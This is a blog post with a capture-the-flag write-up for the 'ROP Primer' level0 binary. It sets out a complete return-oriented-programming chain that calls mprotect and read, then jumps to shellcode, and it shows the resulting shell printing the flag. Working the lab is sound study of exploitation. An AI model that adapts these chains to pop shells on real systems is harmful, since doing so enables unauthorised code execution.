Tuesday, August 4, 2015

ROP Primer v0.2 level 0

Two years without a post. Nice!

I've been playing with a ROP challenge so I thought I would do a writeup. That's what all the cool kids do these days.

Find it here. And find an archive containing the binary, my exploit and some other stuff here.

This post will be about the 'level0' binary so check it out.

First I do a quick check to find out what I'm looking at:


$ file level0
level0: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.26, BuildID[sha1]=fb91c352b4d0f9680d22497e348340fe88d0fdf8, not stripped
$ checksec level0
[*] '/media/data/VirtualBox VMs/rop-primer-v0.2/level0/level0'
    Arch:          i386-32-little
    RELRO:         No RELRO
    Stack Canary:  No canary found
    NX:            NX enabled
    PIE:           No PIE
$ readelf -s level0 | wc -l
2064
$ readelf -s level0 | grep -E '(system)|(mprotect)'
   482: 080b16e0    62 OBJECT  LOCAL  DEFAULT    7 system_dirs
   483: 080b1720    16 OBJECT  LOCAL  DEFAULT    7 system_dirs_len
  1076: 080523e0    33 FUNC    GLOBAL DEFAULT    4 __mprotect
  1981: 080523e0    33 FUNC    WEAK   DEFAULT    4 mprotect

So, the binary is statically linked and as it turns out contains a whole lot of stuff that we can simply return to. But that's easy and thus boring, so we'll build a real ROP chain and use actual syscalls. And bypass ASLR, and not have nul bytes why not?

I started by uploading the binary to ropshell.com which in turn gave me a nice list of gadgets. Well, not entirely nice. The list contained offsets rather than addresses. The binary is not position independent, so I would really prefer addresses, so I hacked up this small utility to convert the list:


#!/usr/bin/env python2

import re, fileinput

regex = re.compile('^0x([0-9a-f]{8})( : .*)$')

for line in fileinput.input():
    line = line.rstrip()
    m = regex.match(line)
    if m:
        addr = int(m.group(1), 16) + 0x08048000
        print '0x%08x%s' % (addr, m.group(2))
    else:
        print line

The resulting list is in the archive. The following is a list of all the gadgets I ended up needing:

0x080488d9 : dec ecx; ret
0x080495f7 : jmp eax
0x0804f9f1 : dec ebx; ret
0x080525c6 : pop edx; ret
0x080525ed : pop ecx; pop ebx; ret
0x08052cf0 : int 0x80; ret
0x08068c63 : inc edx; or al, 0x5d; ret
0x0806a60f : inc eax; ret
0x0806b53e : add eax, ecx; ret
0x0806b893 : pop eax; ret
0x0806bf9c : dec eax; ret
0x08082fd0 : inc ebx; or al, 0xeb; ret
0x08097bff : xor eax, eax; ret
0x08097eda : add ecx, ecx; ret
0x080c8933 : inc ecx; ret

As is pretty usual some of these gadgets mess up each other while others accomplish multiple tasks, so nothing new here.

My plan is to execute something similar to this:

mprotect(0x0804a000, 1024, PROT_READ | PROT_WRITE | PROT_EXEC);
read(0, 0x0804a000, 0x01010101);
((void(*)())0x0804a000)();

The 0x0804a000 address is known to be mapped, as this is where the main binary is mapped.

Syscall number goes in eax and arguments go in ebx, ecx and edx respectively.

First we'll execute the mprotect syscall so we put PROT_READ | PROT_WRITE | PROT_EXEC into edx.

0x080525c6  # pop edx; ret               edx = -1
0xffffffff  # -> edx
0x08068c63  # inc edx; or al, 0x5d; ret  edx = 0
0x08068c63  # inc edx; or al, 0x5d; ret  edx = 1
0x08068c63  # inc edx; or al, 0x5d; ret  edx = 2
0x08068c63  # inc edx; or al, 0x5d; ret  edx = 3
0x08068c63  # inc edx; or al, 0x5d; ret  edx = 4
0x08068c63  # inc edx; or al, 0x5d; ret  edx = 5
0x08068c63  # inc edx; or al, 0x5d; ret  edx = 6
0x08068c63  # inc edx; or al, 0x5d; ret  edx = 7

Easy!

Next we'll put 125 (SYS_mprotect) into eax, 1024 into ecx and the writable address 0x0804a000 into edx.

0x080525ed  # pop ecx; pop ebx; ret   ecx=-1, ebx=writable
0xffffffff  # -> ecx             ecx = -1
0x0804a001  # -> ebx             ebx = writable + 1
0x0804f9f1  # dec ebx; ret       ebx = writable

0x080c8933  # inc ecx; ret       ecx = 0
0x080c8933  # inc ecx; ret       ecx = 1
0x080c8933  # inc ecx; ret       ecx = 2
0x08097eda  # add ecx, ecx; ret  ecx = 4
0x08097eda  # add ecx, ecx; ret  ecx = 8
0x08097eda  # add ecx, ecx; ret  ecx = 16
0x08097eda  # add ecx, ecx; ret  ecx = 32
0x08097eda  # add ecx, ecx; ret  ecx = 64
0x08097eda  # add ecx, ecx; ret  ecx = 128

0x08097bff  # xor eax, eax; ret  eax = 0
0x0806b53e  # add eax, ecx; ret  eax = 128
0x0806bf9c  # dec eax; ret       eax = 127
0x0806bf9c  # dec eax; ret       eax = 126
0x0806bf9c  # dec eax; ret       eax = 125 = SYS_mprotect

0x08097eda  # add ecx, ecx; ret  ecx = 256
0x08097eda  # add ecx, ecx; ret  ecx = 512
0x08097eda  # add ecx, ecx; ret  ecx = 1024

#Now we're ready for mprotect
0x08052cf0  # int 0x80; ret    Issue syscall

Also pretty easy. The first block initialized ebx to the writable address which must be on a page boundary. Also ecx was initialized to -1.

The next block incremented ecx to contain the value 128 which in the next block is copied to eax which is then decremented to 125 which is the syscall number of mprotect.

Then I continue incrementing ecx to contain the number 1024 which will be the size of the executable segment for our shellcode. So our shellcode can be 1024 bytes long which should be enough, but add or remove some of those add ecx, ecx gadgets if you need more or less space.

So now we have writable and executable memory. Let's put some shellcode there and jump to it. We'll do the read call next. First we put the writable address into ecx and initialize ebx to zero (which is standard in file descriptor):

0x080525ed  # pop ecx; pop ebx; ret          ecx = writable + 1, ebx = -1
0x0804a001  #-> ecx
0xffffffff  #-> ebx
0x080488d9  # dec ecx; ret                   ecx = writable
0x08082fd0  # inc ebx; or al, 0xeb; ret      ebx = 0

Next we put syscall number 3 (SYS_read) into eax and a large value (0x01010101) into edx and we're good to go on the read call:

#Set eax = 3
0x08097bff # xor eax, eax; ret
0x0806a60f # inc eax; ret  #eax = 1
0x0806a60f # inc eax; ret  #eax = 2
0x0806a60f # inc eax; ret  #eax = 3

#Set edx = 0x01010101
0x080525c6  # pop edx; ret
0x01010101  #-> edx

#And we're ready for read
0x08052cf0  # int 0x80; ret    Issue syscall

Finally we jump to the code:

0x0806b893  # pop eax; ret   # eax = 0x0804a001
0x0804a001  # -> eax
0x0806bf9c  # dec eax; ret   # eax = 0x0804a000
0x080495f7  # jmp eax  GOTO shellcode!

And we'll see if it works:

level0@rop:~$ (./exploit.py && cat -) | ./level0
[+] ROP tutorial level0
[+] What's your name? [+] Bet you can't ROP me, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����� �
                                                                                                  ��3�
                                                                                                     3�
                                                                                                      3�
                                                                                                       �~      �~      �~      �~      �~      �~      �{      >��������~      �~      �~   �����c�c�c�c�c�c�c�c��� �
                      ����و�{  ����    ��� �
                                           ����!
ls
flag  level0  exploit.py
cat flag
flag{rop_the_night_away}

Excellent!
We could shave off some gadgets by only marking 128 bytes executable since our shellcode is 22 bytes long.
Why not mark only 32 then? Because we needed the number 125 in eax and that number came from ecx.

Also, we could read to 0x0804a001 and save two more gadgets for decrementing registers but that would make the code less readable in my opinion, but do try that.

Hope you enjoyed this post.

No comments:

Post a Comment